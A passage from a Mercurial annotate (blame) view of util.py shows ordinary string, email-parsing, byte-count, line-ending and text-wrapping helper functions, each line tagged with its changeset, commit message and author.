2311 def shortuser(user): |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2312 """Return a short representation of a user name or email address.""" |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2313 f = user.find('@') |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2314 if f >= 0: |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2315 user = user[:f] |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2316 f = user.find('<') |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2317 if f >= 0: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2318 user = user[f + 1:] |
3176
7492b33bdd9f
shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3147
diff
changeset
|
2319 f = user.find(' ') |
7492b33bdd9f
shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3147
diff
changeset
|
2320 if f >= 0: |
7492b33bdd9f
shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3147
diff
changeset
|
2321 user = user[:f] |
3533
bb44489b901f
shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents:
3466
diff
changeset
|
2322 f = user.find('.') |
bb44489b901f
shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents:
3466
diff
changeset
|
2323 if f >= 0: |
bb44489b901f
shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents:
3466
diff
changeset
|
2324 user = user[:f] |
1903
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2325 return user |
1920 | 2326 |
16360
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2327 def emailuser(user): |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2328 """Return the user portion of an email address.""" |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2329 f = user.find('@') |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2330 if f >= 0: |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2331 user = user[:f] |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2332 f = user.find('<') |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2333 if f >= 0: |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2334 user = user[f + 1:] |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2335 return user |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2336 |
5975
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2337 def email(author): |
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2338 '''get email of author.''' |
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2339 r = author.find('>') |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2340 if r == -1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2341 r = None |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2342 return author[author.find('<') + 1:r] |
5975
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2343 |
3767
1861fa38a6a7
Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3721
diff
changeset
|
2344 def ellipsis(text, maxlength=400): |
21857
86c2d792a4b7
util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21813
diff
changeset
|
2345 """Trim string to at most maxlength (default: 400) columns in display.""" |
86c2d792a4b7
util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21813
diff
changeset
|
2346 return encoding.trim(text, maxlength, ellipsis='...') |
3767
1861fa38a6a7
Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3721
diff
changeset
|
2347 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2348 def unitcountfn(*unittable): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2349 '''return a function that renders a readable count of some quantity''' |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2350 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2351 def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2352 for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2353 if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2354 return format % (count / float(divisor)) |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2355 return unittable[-1][2] % count |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2356 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2357 return go |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2358 |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2359 def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2360 """Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2361 0-based range. |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2362 |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2363 >>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2364 (9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2365 >>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2366 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2367 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2368 ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2369 >>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2370 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2371 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2372 ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2373 """ |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2374 if toline - fromline < 0: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2375 raise error.ParseError(_("line range must be positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2376 if fromline < 1: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2377 raise error.ParseError(_("fromline must be strictly positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2378 return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2379 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2380 bytecount = unitcountfn( |
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2381 (100, 1 << 30, _('%.0f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2382 (10, 1 << 30, _('%.1f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2383 (1, 1 << 30, _('%.2f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2384 (100, 1 << 20, _('%.0f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2385 (10, 1 << 20, _('%.1f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2386 (1, 1 << 20, _('%.2f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2387 (100, 1 << 10, _('%.0f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2388 (10, 1 << 10, _('%.1f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2389 (1, 1 << 10, _('%.2f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2390 (1, 1, _('%.0f bytes')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2391 ) |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2392 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2393 # Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2394 # are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2395 # stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2396 _eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2397 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2398 def tolf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2399 return _eolre.sub('\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2400 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2401 def tocrlf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2402 return _eolre.sub('\r\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2403 |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2404 if pycompat.oslinesep == '\r\n': |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2405 tonativeeol = tocrlf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2406 fromnativeeol = tolf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2407 else: |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2408 tonativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2409 fromnativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2410 |
31451
53865692a354
util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31449
diff
changeset
|
2411 def escapestr(s): |
31453
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
2412 # call underlying function of s.encode('string_escape') directly for |
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
2413 # Python 3 compatibility |
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
2414 return codecs.escape_encode(s)[0] |
31451
53865692a354
util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31449
diff
changeset
|
2415 |
31484
afb335353d28
util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31465
diff
changeset
|
2416 def unescapestr(s): |
31485
cad95575dc46
py3: call codecs.escape_decode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31484
diff
changeset
|
2417 return codecs.escape_decode(s)[0] |
31484
afb335353d28
util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31465
diff
changeset
|
2418 |
33682
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2419 def forcebytestr(obj): |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2420 """Portably format an arbitrary object (e.g. exception) into a byte |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2421 string.""" |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2422 try: |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2423 return pycompat.bytestr(obj) |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2424 except UnicodeEncodeError: |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2425 # non-ascii string, may be lossy |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2426 return pycompat.bytestr(encoding.strtolocal(str(obj))) |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2427 |
5291
23651848d638
extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents:
5213
diff
changeset
|
2428 def uirepr(s): |
23651848d638
extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents:
5213
diff
changeset
|
2429 # Avoid double backslash in Windows path repr() |
23651848d638
extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents:
5213
diff
changeset
|
2430 return repr(s).replace('\\\\', '\\') |
7547
4949729ee9ee
python implementation of diffstat
Alexander Solovyov <piranha@piranha.org.ua>
parents:
7537
diff
changeset
|
2431 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2432 # delay import of textwrap |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2433 def MBTextWrapper(**kwargs): |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2434 class tw(textwrap.TextWrapper): |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2435 """ |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2436 Extend TextWrapper for width-awareness. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2437 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2438 Neither number of 'bytes' in any encoding nor 'characters' is |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2439 appropriate to calculate terminal columns for specified string. |
12957
9f2ac318b92e
util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents:
12938
diff
changeset
|
2440 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2441 Original TextWrapper implementation uses built-in 'len()' directly, |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2442 so overriding is needed to use width information of each characters. |
12957
9f2ac318b92e
util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents:
12938
diff
changeset
|
2443 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2444 In addition, characters classified into 'ambiguous' width are |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2445 treated as wide in East Asian area, but as narrow in other. |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2446 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2447 This requires use decision to determine width of such characters. |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2448 """ |
15065
24a6c3f903bb
util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents:
15024
diff
changeset
|
2449 def _cutdown(self, ucstr, space_left): |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2450 l = 0 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2451 colwidth = encoding.ucolwidth |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2452 for i in xrange(len(ucstr)): |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2453 l += colwidth(ucstr[i]) |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2454 if space_left < l: |
15065
24a6c3f903bb
util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents:
15024
diff
changeset
|
2455 return (ucstr[:i], ucstr[i:]) |
24a6c3f903bb
util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents:
15024
diff
changeset
|
2456 return ucstr, '' |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2457 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2458 # overriding of base class |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2459 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2460 space_left = max(width - cur_len, 1) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2461 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2462 if self.break_long_words: |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2463 cut, res = self._cutdown(reversed_chunks[-1], space_left) |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2464 cur_line.append(cut) |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2465 reversed_chunks[-1] = res |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2466 elif not cur_line: |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2467 cur_line.append(reversed_chunks.pop()) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2468 |
26201
c5b2074ae8c0
util: capitalize Python in MBTextWrapper._wrap_chunks comment
timeless@mozdev.org
parents:
26126
diff
changeset
|
2469 # this overriding code is imported from TextWrapper of Python 2.6 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2470 # to calculate columns of string by 'encoding.ucolwidth()' |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2471 def _wrap_chunks(self, chunks): |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2472 colwidth = encoding.ucolwidth |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2473 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2474 lines = [] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2475 if self.width <= 0: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2476 raise ValueError("invalid width %r (must be > 0)" % self.width) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2477 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2478 # Arrange in reverse order so items can be efficiently popped |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2479 # from a stack of chucks. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2480 chunks.reverse() |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2481 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2482 while chunks: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2483 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2484 # Start the list of chunks that will make up the current line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2485 # cur_len is just the length of all the chunks in cur_line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2486 cur_line = [] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2487 cur_len = 0 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2488 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2489 # Figure out which static string will prefix this line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2490 if lines: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2491 indent = self.subsequent_indent |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2492 else: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2493 indent = self.initial_indent |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
